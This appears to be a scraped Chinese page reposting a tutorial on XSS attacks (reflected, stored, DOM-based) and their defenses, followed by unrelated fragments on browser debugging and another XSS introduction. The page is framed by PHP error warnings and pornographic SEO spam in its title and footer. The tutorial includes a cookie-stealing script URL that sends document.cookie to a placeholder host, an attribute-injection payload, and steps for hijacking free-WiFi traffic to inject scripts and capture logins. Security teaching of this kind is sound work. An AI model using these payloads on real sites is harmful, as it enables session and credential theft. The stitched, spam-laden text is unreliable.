Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 亚洲精品一区二区三区在,男女日比视频,波多野结衣教室

          整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          前端安全之XSS攻擊

          者:海角在天涯

          來源:https://www.cnblogs.com/lovesong/p/5199623.html

          XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點是“跨域”和“客戶端執(zhí)行”。有人將XSS攻擊分為三種,分別是:

          1. Reflected XSS(基于反射的XSS攻擊)

          2. Stored XSS(基于存儲的XSS攻擊)

          3. DOM-based or local XSS(基于DOM或本地的XSS攻擊)

          Reflected XSS

          基于反射的XSS攻擊,主要依靠站點服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊。

          例子:

          1. 做個假設(shè),當(dāng)亞馬遜在搜索書籍,搜不到書的時候顯示提交的名稱。

          2. 在搜索框搜索內(nèi)容,填入“<script>alert('handsome boy')</script>”, 點擊搜索。

          3. 當(dāng)前端頁面沒有對返回的數(shù)據(jù)進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。

          4. 進而可以構(gòu)造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:

          http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

          PS:這個地址當(dāng)然是沒效的,只是舉例子而已。

          結(jié)論:

          如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。

          開發(fā)安全措施:

          1. 前端在顯示服務(wù)端數(shù)據(jù)時候,不僅是標(biāo)簽內(nèi)容需要過濾、轉(zhuǎn)義,就連屬性值也都可能需要。

          2. 后端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。

          例如:

          標(biāo)簽:

          <span><script>alert('handsome boy')</script></span>

          轉(zhuǎn)義

          <span><script>alert('handsome boy')</script></span>

          屬性:

          如果一個input的value屬性值是

          瑯琊榜" onclick="javascript:alert('handsome boy')

          就可能出現(xiàn)

          <input type="text" value="瑯琊榜" onclick="javascript:alert('handsome boy')">

          點擊input導(dǎo)致攻擊腳本被執(zhí)行,解決方式可以對script或者雙引號進行過濾。

          Stored XSS

          基于存儲的XSS攻擊,是通過發(fā)表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務(wù)器,每個訪問該帖子/文章的人就會觸發(fā)執(zhí)行。

          例子:

          1. 發(fā)一篇文章,里面包含了惡意腳本

          今天天氣不錯啊!<script>alert('handsome boy')</script>

          2. 后端沒有對文章進行過濾,直接保存文章內(nèi)容到數(shù)據(jù)庫。

          3. 當(dāng)其他看這篇文章的時候,包含的惡意腳本就會執(zhí)行。

          PS:因為大部分文章是保存整個HTML內(nèi)容的,前端顯示時候也不做過濾,就極可能出現(xiàn)這種情況。

          結(jié)論:

          后端盡可能對提交數(shù)據(jù)做過濾,在場景需求而不過濾的情況下,前端就需要做些處理了。

          開發(fā)安全措施:

          1. 首要是服務(wù)端要進行過濾,因為前端的校驗可以被繞過。

          2. 當(dāng)服務(wù)端不校驗時候,前端要以各種方式過濾里面可能的惡意腳本,例如script標(biāo)簽,將特殊字符轉(zhuǎn)換成HTML編碼。

          DOM-based or local XSS

          基于DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的網(wǎng)關(guān)會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在于頁面,無須經(jīng)過服務(wù)器返回就是基于本地的XSS攻擊。

          例子1:

          1. 提供一個免費的wifi。

          1. 開啟一個特殊的DNS服務(wù),將所有域名都解析到我們的電腦上,并把Wifi的DHCP-DNS設(shè)置為我們的電腦IP。

          2. 之后連上wifi的用戶打開任何網(wǎng)站,請求都將被我們截取到。我們根據(jù)http頭中的host字段來轉(zhuǎn)發(fā)到真正服務(wù)器上。

          3. 收到服務(wù)器返回的數(shù)據(jù)之后,我們就可以實現(xiàn)網(wǎng)頁腳本的注入,并返回給用戶。

          4. 當(dāng)注入的腳本被執(zhí)行,用戶的瀏覽器將依次預(yù)加載各大網(wǎng)站的常用腳本庫。

          PS:例子和圖片來自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html 不是我寫的,請注意!

          這個其實就是wifi流量劫持,中間人可以看到用戶的每一個請求,可以在頁面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,可以返回釣魚頁面。

          例子2:

          1. 還是提供一個免費wifi

          2. 在我們電腦上進行抓包

          3. 分析數(shù)據(jù),可以獲取用戶的微信朋友圈、郵箱、社交網(wǎng)站帳號數(shù)據(jù)(HTTP)等。

          PS:這個是我的測試,在51job頁面登錄時進行抓包,可以獲取帳號密碼。

          結(jié)論:

          這攻擊其實跟網(wǎng)站本身沒有什么關(guān)系,只是數(shù)據(jù)被中間人獲取了而已,而由于HTTP是明文傳輸?shù)模允菢O可能被竊取的。

          開發(fā)安全措施:

          1. 使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說的,HTTPS會在請求數(shù)據(jù)之前進行一次握手,使得客戶端與服務(wù)端都有一個私鑰,服務(wù)端用這個私鑰加密,客戶端用這個私鑰解密,這樣即使數(shù)據(jù)被人截取了,也是加密后的數(shù)據(jù)。

          總結(jié)

          XSS攻擊的特點就是:盡一切辦法在目標(biāo)網(wǎng)站上執(zhí)行非目標(biāo)網(wǎng)站上原有的腳本(某篇文章說的)。本地的XSS攻擊的示例2其實不算XSS攻擊,只是簡單流量劫持。前兩種XSS攻擊是我們開發(fā)時候要注意的,而流量劫持的則可以使用HTTPS提高安全性,。

          、資源面板 source

          source區(qū)域

          source區(qū)域2

          1區(qū)域網(wǎng)站的資源文件,2區(qū)域網(wǎng)頁文件的代碼,3區(qū)域信息顯示及調(diào)試的地方。

          2、調(diào)試變量的console。

          console面板

          3、breakpoint斷點面板:

          breakpoint面板

          點擊3行右邊的breakpoint面板上代碼的位置。

          觀察面板

          watch:觀察js代碼中變量的值,+號添加變量的值

          call stack:查看js代碼函數(shù)調(diào)用情況

          scope:查看當(dāng)前變量值

          4、調(diào)試和跟蹤:

          繼續(xù)執(zhí)行,快捷鍵 F8.

          跳過函數(shù)執(zhí)行下一條,快捷鍵F10

          執(zhí)行下一條的函數(shù),快捷鍵F11

          執(zhí)行最近函數(shù)

          取消或設(shè)置斷點

          是否進行調(diào)試或停止

          通過按鈕,一步一步調(diào)試js代碼。

          SS即Cross Site Script,中文稱為跨站腳本。XSS是客戶端安全的頭號大敵,利用跨站腳本可獲取用戶信息、釣魚、制造蠕蟲等危害。

          跨站腳本的本質(zhì)是黑客通過"html注入"篡改網(wǎng)頁,插入惡意腳本,當(dāng)用戶在瀏覽網(wǎng)頁時,獲取用戶登陸憑證cookie,實現(xiàn)控制用戶瀏覽器的攻擊行為。

          跨站腳本呢可以分成三種類型:存儲型、反射型、dom型。

          存儲型的XSS分為兩步,第一步是黑客XSS腳本寫入web應(yīng)用程序的數(shù)據(jù)庫中;第二步是用戶在使用瀏覽器瀏覽網(wǎng)頁,使用Web后端程序時XSS腳本。

          反射型XSS只是簡單地把用戶輸入的數(shù)據(jù)"反射"給瀏覽器。黑客往往需要誘使用戶"點擊"一個惡意鏈接,才能攻擊成功。

          Dom型是通過前端javascript將XSS腳本寫入dom節(jié)點中,從而觸發(fā)XSS


          主站蜘蛛池模板: 在线观看一区二区精品视频| 中文字幕一区二区三区人妻少妇| 免费无码A片一区二三区| 国产美女口爆吞精一区二区| 无码中文人妻在线一区| 精品国产一区二区三区免费| 精品国产免费一区二区三区| 国产一区视频在线免费观看| 精品日韩一区二区三区视频| 国产乱码一区二区三区| 在线播放国产一区二区三区 | 青青青国产精品一区二区| 美女福利视频一区二区| 日韩福利视频一区| 亚洲综合一区国产精品| 美女视频一区三区网站在线观看| 日韩精品无码一区二区三区免费| 亚洲色无码一区二区三区| 波多野结衣AV无码久久一区| 色噜噜AV亚洲色一区二区| 亚洲av乱码中文一区二区三区| 高清在线一区二区| 国产小仙女视频一区二区三区| 亚洲一区二区三区影院| 国产亚洲一区二区三区在线不卡 | 国产在线精品一区二区高清不卡 | 亚洲国产av一区二区三区丶| 人妻无码一区二区三区AV| 精品无码人妻一区二区三区品| 日韩免费无码视频一区二区三区| 亚洲国产精品第一区二区| 在线精品国产一区二区| 麻豆AV无码精品一区二区| 日韩高清一区二区| 国产成人精品一区二三区在线观看| 亚洲国产高清在线一区二区三区| 日本大香伊一区二区三区| 无码一区二区三区视频| 麻豆一区二区免费播放网站| 精品一区二区三区在线播放| 亚洲一区二区三区影院|